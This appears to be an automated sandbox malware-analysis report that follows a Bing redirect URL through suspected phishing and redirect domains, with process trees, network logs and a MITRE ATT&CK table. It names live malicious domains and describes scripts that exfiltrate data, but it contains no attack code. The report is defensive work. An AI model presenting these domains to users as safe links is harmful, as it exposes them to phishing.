Edit tour

Windows Analysis Report
https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb

Overview

General Information

Sample URL:	https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuY
Analysis ID:	1586995

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious Javascript

AI detected suspicious URL

Detected non-DNS traffic on DNS port

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 5652 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1908,i,17195442904231276995,4934055356209671890,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 948 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://www.alphasurance.com/... This script exhibits high-risk behavior by redirecting the user to a suspicious domain (authmycookie.com) with an obfuscated URL parameter. This is a strong indicator of potential malicious activity, such as credential harvesting or other types of attacks.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fly.asssing.shop/?utm_term=745800705935147... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the aggressive manipulation of the browser history further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fly.asssing.shop/?utm_term=745800705935147... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It appears to be a malicious script designed to collect user data and redirect users to a potentially harmful website.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://authmycookie.com/rt4.php?r3=CRA6RBIOEBoKTE... The script contains a high-risk indicator of redirecting the user to an untrusted, suspicious domain, which is a common tactic used in phishing and malware attacks. This behavior scores 3 points. Additionally, the URL appears to be obfuscated, which adds another 3 points. While the intent is not explicitly malicious, the combination of these factors suggests a medium-to-high risk level that warrants further investigation.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fly.asssing.shop/?utm_medium=9eb2bcdc89976... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscated code and the redirection to a domain that appears to be associated with malicious activity (fly.asssing.shop) further increase the risk. Overall, this script demonstrates a high level of malicious intent and should be treated with caution.
Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fly.asssing.shop/?utm_term=745800705935147... The script uses a setTimeout function to redirect the user to an unknown domain (gounrical.com) after a 4-second delay, which is a high-risk indicator of potential malicious behavior. The URL contains obfuscated parameters, further increasing the suspicion of this script's intent.
Source: 0.8.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://gounrical.com/click.php?key=ls9yc3ivpkcbp3... This script exhibits several high-risk behaviors, including data exfiltration, redirects to potentially malicious domains, and the use of obfuscated URLs. The script sends user data to an unknown domain via AJAX requests and then redirects the user to a Chrome Web Store page, which could be a phishing attempt. While the script claims to be related to a Chrome extension, the overall behavior is highly suspicious and indicates a potential security risk.

AI detected suspicious URL

Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://fly.asssing.shop
Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://asssing.shop

Source: https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 23.56.254.164:443 -> 192.168.2.18:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.56.254.164:443 -> 192.168.2.18:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.18:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.18:49735 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.18:61236 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.18:61236 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.18:61236 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.18:61236 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.254.164
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172

Source: global traffic	DNS traffic detected: DNS query: www.alphasurance.com
Source: global traffic	DNS traffic detected: DNS query: authmycookie.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: breakpoint.goalkedf.cfd
Source: global traffic	DNS traffic detected: DNS query: fly.asssing.shop
Source: global traffic	DNS traffic detected: DNS query: gounrical.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: csp.withgoogle.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61238
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 61238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.56.254.164:443 -> 192.168.2.18:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.56.254.164:443 -> 192.168.2.18:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.18:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.18:49735 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@23/43@34/277

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1908,i,17195442904231276995,4934055356209671890,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1908,i,17195442904231276995,4934055356209671890,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
